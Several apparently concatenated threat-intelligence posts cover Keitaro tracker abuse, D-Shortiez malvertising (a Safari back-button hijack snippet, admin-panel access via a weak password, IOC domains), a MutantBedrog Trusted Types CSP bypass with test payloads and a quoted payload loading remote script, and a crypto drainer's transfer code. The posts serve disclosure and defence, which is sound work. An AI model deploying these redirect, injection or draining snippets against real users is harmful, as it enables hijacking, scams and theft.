Keitaro is an advertising performance tracker used by marketers and cyber criminals to route and measure traffic. It’s feature-rich, self-hosted, spins up in minutes on most hosting platforms, and can route visitors conditionally based on device type, geography, IP, and referrer. Criminals exploit it at scale.

Attackers have abused it for years. What nobody had done was study the abuse systematically across the full stack, at scale, over time. That’s what our joint research with Infoblox is.

How we built it

Confiant and Infoblox see the internet from different vantage points. Confiant has visibility across the digital advertising supply chain — billions of ad impressions a month, tracked through thousands of client-side integrations. We see the creative, the redirect, the cloaking behavior, and the moment a malicious ad reaches a real screen.

Infoblox operates at the DNS layer tracking how domains are registered, how infrastructure is built and burned, how threats move through spam, compromised websites, and web scans.

We examined four months of data starting October 1, 2025. What came back was a persistent, high-volume criminal ecosystem operating largely in plain sight.

What was running through it

15,500 malicious domains active during the study window. Roughly 9,000 registered specifically for this purpose. Traffic arriving through programmatic advertising, spam, social media, and compromised websites simultaneously, all routing through Keitaro instances, showing clean pages to anyone who looked like a reviewer.

Investment scams dominated. The pattern is consistent across actors: algorithmically registered domains, uniform web forms to capture victim contact details, fabricated news articles or endorsements to establish credibility.

• FaiKast runs deepfake video ads featuring AI-generated news anchors through the programmatic ecosystem. Victims click through to near-perfect replicas of legitimate news outlets including fake CBC broadcasts, fabricated quotes from real public figures, urgent calls to sign up for fraudulent cryptocurrency platforms. The operation targets France, the U.K., Canada, Japan, and Kazakhstan, with content localized to each market.

• WickedWally targets U.S. seniors specifically with debt relief, grocery allowances, Medicare benefits, funeral expenses. The lures are AI-generated deepfake video ads designed to look like news reports, tied to current events. “Due to the USA tariffs release, you can erase your credit card debt for free until this Saturday.” Victims land on fake chatbots that qualify them for benefits that don’t exist, then route them to call centers that extract personal and financial information.

• FishSteaks runs gamified giveaway scams impersonating American consumer brands — virtual prize boxes, falling confetti, multi-stage landing pages designed to maximize time-on-page and conversion. AI-generated placeholder assets swapped for brand logos as campaigns go live. Individual victim losses in tech support scam variants have reached beyond $40,000 in documented cases.

What happened when we reported it

Keitaro has been used by criminal actors for over a decade. The question we wanted to answer: was Apliteni, the company that makes Keitaro, turning a blind eye? Were they effectively a bulletproof tracker?

Since August 2025, we reported over 100 domains to Apliteni. They responded to each one. More than a dozen threat actor accounts were canceled. Through the exchanges, we verified that major malware actors including TA2726 were using illicit copies of the tracker.

This level of responsiveness matters, but it’s not the end of the problem. Actors rotate domains and creatives faster than any single remediation path can keep up with. However, it establishes a viable coordination channel, and it’s the model the industry needs more of.

Read Part 1: Inside Keitaro Abuse: A Persistent Stream of AI-Driven Investment Scams

The full research — methodology, indicators, actor profiles, infrastructure analysis — is out now. Parts 2 and 3 coming soon.

Co-authored with Infoblox Threat Intel.

Today we are looking at part of a payload from a threat actor that we call D-Shortiez. A group that runs forced redirect campaigns that propel victims down familiar malicious click-chains which surface familiar scams like this:

The redirect payload itself consists mainly of largely unremarkable fingerprinting and tracking functions:

When we come across redirect campaigns like this, we like to pay extra attention to the actual redirect mechanics in order to see if anything weird is going on.

Starting on line 211 we see a nested try/catch that attempts the actual forced redirection. This is all fairly standard as different browsers respond differently to different redirect attempts and the bad actors have learned that throwing the kitchen sink at it will maximize the chances of a successful redirection.

The part that made us pause and closely consider what’s happening here are these few lines:

        if (!!(window.top.history && window.top.history.pushState)) {
            window.top.history.pushState(null, null, ‘’);
            window.top.onpopstate = function(event) {
                window.top.location.href = redirectUrl+’back’;
            };

A description of the popstate event from MDN:

The popstate event of the Window interface is fired when the active history entry changes while the user navigates the session history. It changes the current history entry to that of the last page the user visited or, if history.pushState() has been used to add a history entry to the history stack, that history entry is used instead.

We staged our own payload for testing as follows and tried it on all the browsers with major marketshare:

redirectUrl = ‘http://google.com/search?q=’;
if (window.top.history && window.top.history.pushState) {
    window.top.history.pushState(null, null, ‘’);
    window.top.onpopstate = function (event) {
        window.top.location.href = redirectUrl + ‘back’;
    };
    let u1 = redirectUrl + ‘click’;
    window.top.document.body.addEventListener(’click’, function () { window.top.location.href = u1; }, true);
}

We found nothing unusual while testing this snippet in in almost every browser, but something stood out about Safari…

The script very effectively acts as a back button hijack, comparable to some browlock techniques that online scammers have leaned on over the years. Victims are lured to scams and the neutralized back button keeps them from being able to back out of the site.

Impact, Scope, & Targeting

Over the last 6 months, D-Shortiez have served over 300MM malicious ad impressions targeting primarily US audiences with a long tail that trickles down to Canada and Europe.

While activity has been fairly consistent since August, if we look at it on a trend line, we can see some very aggressive sustained bursts, and some breaks in between.

The platform predominantly targeted platform is iOS

Timeline

Sep. 29 — Reported to Apple

Jan. 23 — Addressed with this Safari security update: https://support.apple.com/en-us/HT213600

IOCs

*.v-hi.shop   
*.f-dk.shop  
*.m-fl.shop  
*.b-qv.shop  
*.g-jm.online
*.y-b.online 
*.m-k.homes  
*.p-a.homes  
*.c-b.beauty 
*.q-j.online 
*.d-y.online 
*.v-i.online 
*.k-bd.online
*.s-o.fun    
*.t-n.beauty 
*.v-mh.online
*.a-p.pics   
*.f-f.site   
*.c-b.site   
*.a-f.site   
*.o-b.site   
*.d-f.site   
*.q-h.site   
*.v-n.homes  
*.s-t.website
*.e-g.store  
*.k-g.site   
*.t-i.site   
*.h-k.site   
*.y-m.site   
*.g-c.homes  
*.v-k.site   
*.k-u.site   
*.g-j.site   
*.o-b.shop   
*.v-g.skin   
*.c-g.site   
*.e-t.site   
*.a-z.skin   
*.a-o.homes  
*.v-t.homes  
*.f-p.homes  
*.e-h.homes  
*.j-h.beauty 
*.a-b.beauty 
*.b-c.beauty 
*.f-t.beauty 
*.r-j.pics   
*.w-h.pics   
*.g-e.pics   
*.y-j.pics   
*.n-s.store  
*.w-t.homes  
*.x-y.store  
*.k-j.homes  
*.f-t.skin   
*.j-d.boats  
*.t-y.website
*.s-w.fun    
*.g-o.homes  
*.s-g.boats  
*.n-y.skin   
*.x-u.homes  
*.t-o.beauty 
*.v-e.boats  
*.u-c.cyou   
*.o-b.homes  
*.s-a.homes  
*.s-h.homes  
*.e-p.autos  
*.g-p.pics   
*.q-c.homes  
*.r-k.group  
*.f-o.boats  
*.s-p.autos  
*.t-g.skin   
*.g-j.skin   
*.v-e.cyou   
*.e-q.boats  
*.v-e.homes  
*.c-f.beauty 
*.e-v.boats  
*.a-b.pics   
*.c-c.autos  
*.b-f.beauty 
*.a-o.beauty 
*.e-z.homes  
*.c-d.homes  
*.f-b.boats  
*.c-t.beauty 
*.f-q.autos  
*.c-b.skin   
*.d-e.boats  
*.s-f.homes  
*.a-e.beauty 
*.b-s.boats  
*.d-g.autos  
*.c-a.boats  
*.c-a.cyou

Late June 2025, the Confiant threat intelligence team discovered an internal testing page belonging to D-Shortiez, a malvertising threat actor we’ve tracked since 2022. This page, accessible from any of their malicious domains, was updated on their work days with new domain information before campaigns went live.

We built automation to harvest this intelligence, enabling us to block their infrastructure before ads served to our customers. Three months later, we discovered a second admin panel managing an entirely separate campaign cluster. When they added password protection, the weak credential (123*****) gave us continued access.

In 2025, we tracked D-Shortiez serving 59 million malicious ad impressions, 95% targeting the United States. Access to their internal infrastructure allowed us to disrupt campaigns at scale before they reached end users.

This report details the operational security failures that enabled our access, the technical evidence linking their fake reward and tech support scam operations, and the indicators we’re sharing with ad platforms to help remove this threat actor from the ecosystem.

Background: D-Shortiez Activity Through June 2025

D-Shortiez is a malvertising threat actor first identified by Confiant in 2022. Their early activity focused on forceful redirection code inside their ads that redirected victims from publisher pages to scam landing pages without any user interaction. You can find out more about their activity here.

We tracked two primary scam types:

• Google-branded gift card scams led victims through surveys designed to serve affiliate offers (gambling, credit cards).

• Amazon-branded giveaway scams directed victims to checkout pages requesting credit card information to pay a $9.95 fee for a fake prize. The checkout pages’ terms and conditions and privacy policy buttons were non-functional, a clear indicator of fraudulent intent.

Our visibility into the ad tech supply chain enabled tracking despite their use of Cloudflare to hide origin IPs.

Figure 1: Google-branded “5-billionth search” reward scam page

Figure 2: Amazon-branded prize scam requesting credit card information

D-Shortiez Shifts to Tech Support Scams

In June 2025, the same tracking indicators we’d been using to identify D-Shortiez forceful redirection ads began leading to Microsoft Windows-branded tech support scams instead of reward pages.

We confirmed both old and new activity belonged to the same actor. The most conclusive evidence: identical domains and URL document locations appearing in both campaigns.

Technical Evidence

Testing the D-Shortiez domain ogvkvulwchwb[.]top at document location dailynews.php returned their familiar fake reward scam page. Testing the same domain and location with different URL parameters returned a redirect to their tech support scam infrastructure.

Figure 3: Legitimate-looking ad creative used by D-Shortiez (Adobe Creative Cloud)

Figure 4: Browser developer tools showing D-Shortiez domain (ogvkvulwchwb.top) in network traffic during forced redirection

The tech support scam pages impersonated Windows Defender notifications, claiming the victim’s PC was infected with malware and providing a phone number for fake Microsoft support.

Figure 5: Fake Microsoft Windows Defender notification scam page with fraudulent support number

Their use of the Binom traffic distribution system (TDS) allowed them to serve different scam types based on victim device: Windows users received tech support scams, while mobile users still received reward scams.

Discovering the Internal Ad Test Page

After confirming D-Shortiez’s shift to tech support scams, we began probing their infrastructure for hidden content. Late June 2025, we found a page intended to remain internal which provided an HTML file containing their ad testing environment.

The page was accessible from any D-Shortiez domain and contained commented-out ad tags from multiple advertising platforms, with a single tag uncommented for active testing. More importantly, the page was dynamic. We observed it being modified with new domains on what appeared to be their work days.

Example ad tag from the test page:

<!-- smartyads -->

<div id=”oisu-opwx-vjuh”>

<link rel=”stylesheet” href=”https://bosbaim.com/dbJ9f8BFJkdoec.css”>

<div class=”A8s7D9k5j8h7g6f”>

<a href=”https://www.dillards.com/c/women?srsltid=AfmBOooxD8UJmkelwCNEHHwKec-unwhaSmwqMXxuUrbU6zw-NGhdGjXo” target=”_blank”>

<img src=”https://bosbaim.com//olpkugft7gvBKf.jpg” alt=”“ class=”B9k8S7m6n9b8v7c5”>

</a>

<div class=”D6f5K9q8r7s6d5f4”>SHOP NOW >></div>

</div>

<script src=”https://js.bosbaim.com//oikjshbegcd.js?uhoixjhned={bid_id}&pojuh={exchange_title}&trfgb={site_id}&sdce={site_domain}&tyhgb={timestamp}&apodu={device_ip}”></script>

</div>

Figure 6: Rendered advertisement from D-Shortiez test page showing malicious “Shop Now” redirect

We built automation to monitor this page and extract newly added domains. This allowed us to block their infrastructure before campaigns launched, shifting our defensive posture from reactive to proactive.

Attribution: Chinese-Speaking Operators

The test page contained Chinese-language comments throughout.

They leave comments throughout the test page that map each ad tag to its DSP, as in the case SmartyAds. The notes show where the ad campaign will be served from, when the tag was added, and whether it has been submitted to the DSP for approval. Once approved, it continues running until the DSP detects the abuse and disables the campaign.

Figure 7: Chinese-language comment from test page translated to English showing campaign tracking notes

Also discovered in the test page that added confidence to D-Shortiez being Chinese or Chinese speaking actors, are the credentials for their Baota/Pagoda Panel software. Which only has Chinese language support.

Figure 8: Baota/Pagoda Panel credentials discovered in D-Shortiez test page

Figure 9: Baota Linux Panel login interface served from the host IP address(Chinese-language only)

This combination of language evidence and infrastructure choices confirms Chinese-speaking operators, consistent with timezone patterns we observed in their update schedule.

Discovery of a Second Cluster

Late November 2025, we identified new D-Shortiez activity from domains not present in the original test page. Testing revealed these domains shared the same technical fingerprints as the main cluster but were hosted on separate infrastructure.

We exposed the new cluster’s origin IP by locating a second test page. When we requested the file 01.html from the domain jswdfs[.]com, the server responded with an ad tag containing the domain res.cloudhtg[.]com.

The result of testing the new cluster’s domain for the file 01.html:

curl -s https://www.jswdfs[.]com/01.html

<div id=”inner_c_jpg_300”>

<a href=”https://aaa.com” target=”_blank” position-id=”inner_c_jpg_300_a”>

<img src=”https://img.cloudhtg.com/20250712153836_3485.jpg”></a>

<script src=”https://res.cloudhtg.com/dvsequence.js?debug=11111”></script>

</div>

This domain had been scanned by Censys before it was routed through Cloudflare, revealing its true IP: 156.234.103.174 (Hong Kong). The Censys page showed certificate data linking it to bt.cn Baota/Pagoda panel, confirming the same infrastructure pattern as the main cluster.

Figure 10: Censys search results revealing D-Shortiez infrastructure IP (156.234.103.174) before Cloudflare routing

Figure 11: SSL certificate data from Censys showing bt.cn Baota/Pagoda Panel references in certificate subject and issuer fields

Accessing the Second Cluster’s Admin Panel

Three days after linking the new cluster to D-Shortiez, we discovered their administrative panel at a URL path accessible from any cluster domain. Initially unprotected, it became password-protected shortly after our discovery.

The password was 123*****.

Figure 12: Admin panel password prompt (password: 123*****)

The admin panel displayed active campaign data in a table with columns for:

• Ad source (platform name)

• Tag ID

• Targeted platform (Desktop/Mobile)

• Failed redirects per thousand

• Successful redirects per thousand

• Binom TDS domain

• Campaign status (run/approving)

• Toggle button to switch campaign state

Figure 13: D-Shortiez campaign management interface showing active campaigns, tag IDs, and performance metrics

Operational Intelligence Value

Before campaigns transitioned from “approving” to “run” status, we searched our ad scan data for matching tag IDs and Binom domains. This allowed us to identify and block the serving domains before they went live, disrupting campaigns before they impacted our customers.

We confirmed the admin panel data matched our scan infrastructure by comparing tag IDs and Binom domains. The admin panel showed tag ID “vi25120203” using Binom domain “softluxt.space”—both values appeared in our scanned ad creative from the same campaign.

Figure 14: Admin panel entry showing tag ID vi25120203 and Binom domain softluxt.space

Figure 15: Scanned ad creative showing matching tag ID and Binom domain from Confiant’s detection infrastructure

2025 Impact

We tracked D-Shortiez ad campaigns serving 59 million impressions in 2025.

Geographic targeting:

• United States: 95.4%

• Canada: 1.4%

• Japan: 0.6%

• Other countries: 2.6%

Figure 16: Geographic distribution of D-Shortiez impressions (2025)

Device targeting:

• iOS: 26,154,969 impressions

• Windows: 22,977,804 impressions

• Android: 7,492,224 impressions

• Mac OS X: 1,971,674 impressions

• Chrome OS: 333,925 impressions

• Linux: 71,031 impressions

Figure 17: D-Shortiez impressions by operating system (2025)

Their use of Binom TDS allowed them to serve device-appropriate scams after redirection: Windows devices received tech support scams, while mobile devices received reward scams.

Looking Ahead

We expect D-Shortiez to modify their operations following this publication. Based on typical threat actor behavior, they will likely:

• Secure or abandon exposed internal pages

• Rotate infrastructure more frequently

• Shift to ad platforms where our visibility is limited

• Improve credential security

However, their fundamental business model of exploiting ad platform security gaps to deliver scams at scale remains profitable enough to persist despite disruption.

We’ve shared D-Shortiez indicators with numerous ad platforms throughout 2025. Some have acted swiftly to remove associated accounts. Others remain vectors for their campaigns. The ad ecosystem’s fragmented security posture creates persistent vulnerabilities that organized actors will continue to exploit.

We continue tracking D-Shortiez infrastructure and sharing intelligence with ecosystem partners. The IOCs below represent known infrastructure as of publication. Our threat intelligence feeds provide real-time updates.

D-Shortiez 2025 Domain IOCs

https://github.com/msteele-confiant/D-Shortiez_DomainIOCs

About The Autor

This research on D-Shortiez was conducted by Michael Steele, a Threat Intelligence Researcher on Confiant’s Security team.

He specializes in deep dives across the adtech threat landscape, mapping Confiant-attributed threat groups, infrastructure, and evolving TTPs. He also applies host analysis to surface durable tracking opportunities, exposing the artifacts and telemetry Confiant uses to identify and follow these threats over time. His work supports faster detection, stronger mitigations, and clearer reporting for researchers and organizations impacted by malvertising.

When he isn’t working, he enjoys spending time outdoors with friends. In the spring and summer, you will often find him camping near a dirt bike trail or staying at a cabin with friends. This winter, he has gotten into ice fishing and wanted to share a recent catch.

MutantBedrog is a malvertiser that caught our attention early summer ’24 for their highly disruptive forced redirect campaigns and the unique JavaScript payload that they use to fingerprint devices and dispatch invasive redirections.

While a comprehensive report on MutantBedrog’s TTPs is available here, this blog post will hyper-focus on a very specific technical tidbit from their client-side redirect payload.

For reference, the full payload is available in the following gist:

https://gist.github.com/eliyastein/501392d5b52ca07cef4d5ea9bddc254e#file-payload-js

This code includes a lot of familiar tactics, but tldr: it’s a slightly convoluted mess of multi-stage client-side fingerprinting and DOM manipulation that exists purely to spawn a hopefully unmitigated redirect to a scam landing page.

One of the things that stood out to us right away were the multiple references to content security policies and Trusted-Types that appear at every stage of execution.

Let’s zoom in on some excerpts for clarity:

 if (!j && typeof trustedTypes !== ‘undefined’) {
                try {
                  var y =
                    ‘\net = () => {\n    var t = Math.round(Date.now() / 1000).toString();\n    var es = “”;\n    for (var i = 0; i < t.length; i++) {\n        var c = t.charCodeAt(i);\n        es += String.fromCharCode(c + 10);\n    }\n    return encodeURIComponent(btoa(es));\n};\ntry {\nif (typeof trustedTypes !== “undefined”) {\nconst rp = trustedTypes.createPolicy(”rp”, {\ncreateScriptURL: (input) => input,\n});\nvar script = document.createElement(”script”);\nscript.src = rp.createScriptURL(\n”https://ab2t.com/v2/banner/pix?id=5d83bs12&aid=ttd006&tid=’ +
                    (window[’_tk’] || 0) +
                    ‘&p=”+et()\n);\nscript.type = “text/javascript”;\nscript.onload = function () {\nscript.parentNode.removeChild(script);\nwindow.parent.postMessage(”distroy”, “*”);\n};\nscript.onerror = function () {\nscript.parentNode.removeChild(script);\nwindow.parent.postMessage(”distroy”, “*”);\n};\ndocument.head.appendChild(script);\n}\n} catch (e) {}’
                  const U = trustedTypes.createPolicy(’rp’, {
                    createHTML: (p) => p,
                  })
                  var D = document.createElement(’iframe’)
                  D.setAttribute(
                    ‘srcdoc’,
                    U.createHTML(’<script>’ + y + ‘</sc’ + ‘ript>’)
                  )
                  D.setAttribute(
                    ‘style’,
                    ‘width: 0; height: 0; border: none; position: absolute; visibility: hidden;’
                  )

And more here:

                       try {
                          if (typeof trustedTypes !== ‘undefined’) {
                            const W = trustedTypes.createPolicy(’rp’, {
                              createScript: (b) => b,
                            })
                            var V = document.createElement(’script’)
                            V.textContent = W.createScript(p.data.secd)
                            V.type = ‘text/javascript’
                            V.onload = function () {
                              V.parentNode.removeChild(V)
                            }
                            V.onerror = function () {
                              V.parentNode.removeChild(V)
                            }
                            document.head.appendChild(V)
                          }
                        } catch (b) {}

Having never seen this in a malvertising payload before, we got curious and excited, because it turns out that strange things like this that might seem superfluous or out of place are often intentional.

Taking time to understand why weird stuff might appear in a payload like this is often fruitful and in the past has resulted in the discovery of multiple 0day browser bugs that were actually being exploited by the attackers:

Malvertising Threat Actor “Yosec” Exploits Browser Bugs To Push Malware (CVE-2021–1765…
Most threat actors that operate via ad tech have embraced an operational shift over the last 2 years, leaning heavily…blog.confiant.com

Malvertiser “ScamClub” Bypasses Iframe Sandboxing With postMessage() Shenanigans [CVE-2021–1801]
This blog post is about the mechanics of a long tail iframe sandbox bypass found in a payload belonging to the…blog.confiant.com

Zirconium was one step ahead of Chrome’s redirect blocker with 0-day
On January 15, Confiant exposed the activity of the Zirconium group, spreading malicious ads via a network of fake ad…blog.confiant.com

We began our investigation by brushing up on Trusted Types, a CSP directive which can be used as part of a security strategy in order to help mitigate XSS attacks and other kinds of insecure or risky JavaScript execution scenarios.

More information on all that can be found here:

Trusted Types API - Web APIs | MDN
The Trusted Types API gives web developers a way to lock down the insecure parts of the DOM API to prevent client-side…developer.mozilla.org

In order to stage our experiment, we need to do several things.

• Distill the payload down to a “minimum viable payload” that includes only the mysterious snippet that we want to test — and the redirect technique in question. The rest is noise and can introduce a lot of distractions.

• Stage a testing environment. Since we are emulating an ad serving stack, this means we need a parent page that will embed an “ad” frame where our payload will live.

We also have some considerations:

• Because the payload writes and accesses many objects directly to and from top we can assume this malvertiser is planning for execution in a friendly frame. Otherwise all of this stuff would be blocked by the Same Origin Policy. That’s ok though as lots of ads find themselves rendering in friendly frames.

• Speaking of origins, we need some real origins in order to emulate things as they would appear in the wild. We can do this with a local web server and some /etc/hosts entries.

• We also need a nimble way to mess around with CSPs, which are typically sent along on a response header. However, CSPs can also be loaded using meta tags, so we will go with that as the easier option.

For reference, a friendly frame is an iframe that has the same origin as the embedding document. The Same-Origin Policy is a critical mechanism in browser (and advertising) security.

Same-origin policy - Security on the web | MDN
The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin…developer.mozilla.org

We can emulate a page that loads an ad in a friendly frame with some very basic code:

<!DOCTYPE html>
<html lang=”en”>
<head>
    <meta charset=”UTF-8”>
    <meta name=”viewport” content=”width=device-width, initial-scale=1.0”>
    <title>Hello World</title>
</head>
<body>   
  <iframe src=”payload.html”>
  </iframe>
</body>
</html>

Let’s try to inject a script into topfrom payload.html :

<html>
<head>
    <script>
        try { 
            let s = top.document.createElement(’script’);
            s.src = ‘data:text/javascript,alert(1)’;
            top.document.body.appendChild(s);
          } catch (e) {}
    </script>
</head>
<body></body>
</html>

Given that we’re running this from a friendly frame, the browser is happy to oblige, and the alert is popped. We now have a foundation for our investigation.

Let’s modify our staging page to include a Trusted Types CSP directive by including the following meta tag in the header:

<meta http-equiv=”Content-Security-Policy” content=”require-trusted-types-for ‘script’;”>

Our same payload will now get rejected by the CSP on top :

Now we borrow from MutantBedrog’s methodology and alter our payload.html to execute the JS within a Trusted Types policy:

try {
    const W = top.window.trustedTypes.createPolicy(’p’, {
         createScriptURL: (url) => url
    });

    const el = top.document.createElement(’script’);
    el.src = W.createScriptURL(’data:text/javascript,alert(1)’);
    top.document.body.appendChild(el);
 } catch (e) {}

Suddenly, the browser is happy to oblige:

By now, we have all the makings of a bypass: A payload that works despite the presence of a security constraint in the form a Trusted Types CSP directive.

We wanted to test one more thing though, given that the MutantBedrog payload is multi-stage and includes the Trusted-Types voodoo in subsequent stages, even after successful injection to top. Here’s an updated payload that emulates this multi-stage strategy, but without subsequent Trusted Types policies:

    <script>
        try {
            const W = top.window.trustedTypes.createPolicy(’p’, {
                createScriptURL: (url) => url
            });

            const el = top.document.createElement(’script’);
            el.src = W.createScriptURL(’data:text/javascript,p=document.createElement(”p”),p.innerHTML=”hi”,document.body.appendChild(p),alert(2)’);
            top.document.body.appendChild(el);
        } catch (e) {}
    </script>

Uh oh!

Blocked by the browser despite the presence of our previous bypass due to our injected script creating an inline DOM element and trying to set its innerHTML.

So what happens if we inline another Trusted Types policy in that injected script? Let’s give it a try:

    <script>
        try {
            const W = top.window.trustedTypes.createPolicy(’p’, {
                createScriptURL: (url) => url
            });

            const el = top.document.createElement(’script’);
            el.src = W.createScriptURL(’data:text/javascript,W=top.window.trustedTypes.createPolicy(”p”,{createHTML: (h) => h  }),p=document.createElement(”p”),p.innerHTML=W.createHTML(”hi”),document.body.appendChild(p),alert(3)’);
            top.document.body.appendChild(el);
        } catch (e) {}
    </script>

And the result….

At this stage in our testing, we have confirmed that given an environment that enforces a Trusted Types directive via CSP, MutantBedrog is able to bypass the CSP at every single stage of their execution from inside an ad injected into same-origin frame.

Given that the ad would be blocked by the CSP otherwise, we assume that the bypass must be exploiting a logic bug in the browser, so we submit a report to the Chrome team with our findings.

After a quick triage process, we were provided some very surprising feedback:

It’s working as intended. CSP is not propagated to iframes served over network (only to local schemes)

Along with the following references:

Content Security Policy Level 3
W3C Working Draft, More details about this document This section is not normative. This document defines Content…www.w3.org

Trusted Types
Editor’s Draft, More details about this document This section is not normative. Certain classes of vulnerabilities…w3c.github.io

And an eye-opening reference from the Trusted Types spec:

5.1. Cross-document vectors

While the code running in a window in which Trusted Types are enforced cannot dynamically create nodes that would bypass the policy restrictions, it is possible that such nodes can be imported or adopted from documents in other windows, that don’t have the same set of restrictions. In essence — it is possible to bypass Trusted Types if a malicious author creates a setup in which a restricted document colludes with an unrestricted one. In an extreme case, the restricted document might create a Blob from strings and navigate to it.

CSP propagation rules (see Content Security Policy 3 § 7.8 CSP Inheriting to avoid bypasses partially address this issue, as new local scheme documents will inherit the same set of restrictions, so — for example — script-src restrictions could be used to make sure injections into Blob contents would not execute scripts. To address this issue comprehensively, other mechanisms like Origin Policy should be used to ensure that baseline security rules are applied for the whole origin.

Turns out that this flavor of Trusted Types bypass is not a browser bug exploit after all and this bypass scenario is even documented and cautioned against in the very spec for this functionality.

Reflecting on our analysis of this malicious payload, and particularly this CSP bypass, we’ve landed on a few important take-aways:

1. Highly adept cybercriminals like MutantBedrog continue to push technical boundaries in surprising ways, going as far as understanding browser security at the specification level, in order to orchestrate sophisticated payloads that are optimized to work under multiple edge cases.

2. CSPs are a powerful tool that can be leveraged to combat all kinds of XSS and injection attacks, but are tough to get right, especially when it comes to same-origin threats like those that might leak in from an ad serving environment.

Archive: This article was originally published on our Confiant Medium blog on September 16, 2024.

Photo by Michael Trimble on Unsplash

Our previous blog provided an overview of Web3 phishing techniques and tactics, all of which continue to be relevant despite a recent economic downturn in the crypto markets. Today, we offer a deeper dive into a specific category of Web3 phishing pages called “Crypto Drainers” and one of the more prolific actors behind them. We will see how one Crypto Drainer template was responsible for over 2,000 ETH in losses in a short period of time.

Crypto Drainers are phishing pages that lure victims into signing malicious transactions that allow the attacker to siphon their crypto and NFTs. Typically these websites piggyback off of well known or emerging NFT projects. The websites themselves are primarily promoted via spam campaigns on social networks and Discord.

The way most crypto drainers work is relatively straight forward:

• Fake NFT minting pages with an artificial countdown to create urgency.

• Victim connects their wallet to “mint”.

• Check if the victim address owns any valuable NFTs.

• Victim signs transaction(s) to transfer ownership of NFTs.

• Victim sends a transaction to the attacker for the cost of the fake “mint”, but this transaction is not a contract interaction.

• Rinse & repeat.

Let’s dig into a real example:

Here’s the real website for comparison:

When we look at the code under the hood of the malicious site, we find that the whole thing is templated and includes deployment instructions, but more on that later. For now, let’s take a peak at how this thing works.

First we have settings.js which acts as a config file. The comments are not ours, but part of the Crypto Drainer template.

https://gist.github.com/eliyastein/0f2f1fd0ae12570c90a8e0b4b72838b7#file-settings-js

And then we have index.js which includes the code responsible for the actual draining:

https://gist.github.com/eliyastein/e11c184b518deb56b440e912d616c77e#file-index-js

We won’t go over the code line by line, but it’s worth highlighting two sections in particular. First, there is this snippet from the spurious mint function, which just sends ETH from the victim to the attacker:

web3.eth.sendTransaction({
            from: walletAddress,
            to: address,
            value: web3.utils.toWei(amount, “ether”),
        })

Remember, minting an NFT is almost always a smart contract interaction, and requires invoking at least one function call. It typically requires additional orchestration beyond transfer of value to invoke a smart contract method, which is completely absent from the code above.

The second snippet we want to highlight is the askNfts() function in the code above:

https://gist.github.com/eliyastein/da326af2a69a1bd98e340c6be69e7d2d#file-asknft-js

Looks fishy doesn’t it? We can see how the attackers leverage the Moralis API in order to pull a record of the victim’s NFT ownership and cycle through them one at a time to siphon them off to a smart contract. Not to mention that pretty damning comment:

//this is a SMART CONTRACT address, don’t replace or NFTs won’t come :)

The role of the smart contract address here is not entirely clear as the source code is not verified and the bytecode analysis is outside of the scope of this post, furthermore this particular page hasn’t claimed any victims so there are no transactions to trace, but it’s noteworthy nonetheless seeing as we have examples of the same exact template moving NFTs to the attacker’s address directly and not an intermediate proxy contract.

In a few moments, we’ll see that we can’t take everything at face value in the world of Crypto Drainers, but for now we continue our investigation by trying out some OSINT searches to see what comes up. It’s clear as day that this is a recycled template that is likely being circulated around, so maybe we can find additional instances of it with a search on GitHub.

We do a search for askMint and come up with a treasure trove of hits:

We see that the same codebase has been employed by several dozen GitHub users and hosted on GitHub Pages:

Each instance targets a different NFT project as well. For example, the GitHub Page above is a fake METAKAMI mint:

Things start heating up as we continue digging through the search results and land on what looks to be the original repo:

GitHub - C4lme/Nft-Drainer-stealer-template: drain nft fake mint steal nft nt stealer

In order to use this website, you need to edit the settings.js file. On line 1: const receiveAddress = “YOUR WALLET”…

github.com

Eureka!

But remember when we said that everything is not as it seems in the world of Crypto Drainers? Here’s where things get interesting:

GitHub - captaingreem/Lets-talk at d2534784d836d28c36cafd3515115112c2550def

This guy do dualwallet with backdoor, don’t trust this kind of people who sell you shit for a small price so that they…

github.com

Looks like the old adage “There’s no honor among thieves” holds true especially for cybercrime as we find a GitHub user calling out the first author we found above as a thief that sells backdoored Crypto Drainers!

We follow the link to a Crypto Drainers group on Telegram:

Here we find vendors selling these Crypto Drainer templates as a full service, with full support in English and French:

There’s a demo on YouTube by the way:

And an e-commerce link where you can buy these hosted templates with white-glove service:

Now anyone can be an NFT & crypto thief for the low cost of €1499.99!

Impact & Scope

So how prevalent and how effective are these Crypto Drainers really? Well it depends, as it’s up to the attackers to promote these malicious websites effectively, but considering that this is the template we see used the most in these phishing attacks, it’s safe to say these folks generally do quite well.

While we have many examples of Crypto Drainer websites that appear to have never robbed a single victim, we also have plenty that have resulted in very lucrative hauls for the perpetrators.

For example, we can look at the ETH address associated with mint-moonlanders[.]com which as of this writing has produced over $85k in revenue for the attacker in a 10 day span:

While it’s quite difficult to grasp the full impact of these attacks due to the way stolen ETH and NFT tokens are passed around, we can begin to formulate an educated guess by adding up all the inbound transactions coming into the attackers’ addresses.

For our analysis, we looked at 227 addresses that we collected over the course of the last few weeks.

Here’s what we found:

• The average Crypto Drainer sees 33 inbound transactions between ETH & NFTs.

• Total observable inbound ETH value transferred to these attacker addresses is 695 ETH or approximately $12.5MM at the time of this writing.

• 29.5% of all Crypto Drainers have not claimed a single victim.

And with regards to drained NFTs:

• The average Crypto Drainer has stolen 9 NFTs, but the top 10 most prolific drainers are responsible for 69% of all NFT thefts.

• 61% of Crypto Drainer wallets have not had a single inbound NFT transfer.

• Based on current floor prices, we estimate the value of the stolen NFTs to be 1517 ETH or approximately $27.5MM at the time of this writing.

• The most commonly stolen NFTs are ENS names, which makes sense given that most folks in the NFT space use ENS.

• Among the stolen NFTs we have tracked, 8 are Bored Ape Yacht Club NFTs.

Caveats & Considerations

We want to be explicitly clear that due to the large number of IOCs to sort through for this research, our findings in the section above should be treated as estimates.

Our methodology begins with the detection of this specific template and we parse out the ETH address specified as the payment address by the attacker only at the time of discovery. Because of this, there are a few thoughts worthy of careful consideration:

• It’s possible that the ETH address is a place holder if observed when the template is first deployed.

• Some attackers rotate the ETH address frequently during the course of their spam campaigns to promote these websites, so our view into any particular drainer’s success might be partial.

Furthermore, the addresses we have observed have participated in thousands of blockchain transactions, which required us to develop automation to parse out the data to calculate our estimates. Due to the broad scope, it’s impossible to reconcile all of these transactions manually and in some cases transactions that are unrelated to theft might have been a part of the mix. While it’s unlikely that most seasoned criminals will use the same address for personal transactions and for collecting the proceeds of a Crypto Drainer, we have observed that some of the perpetrators do exactly that. However, we are not able to explicitly exclude this type of activity.

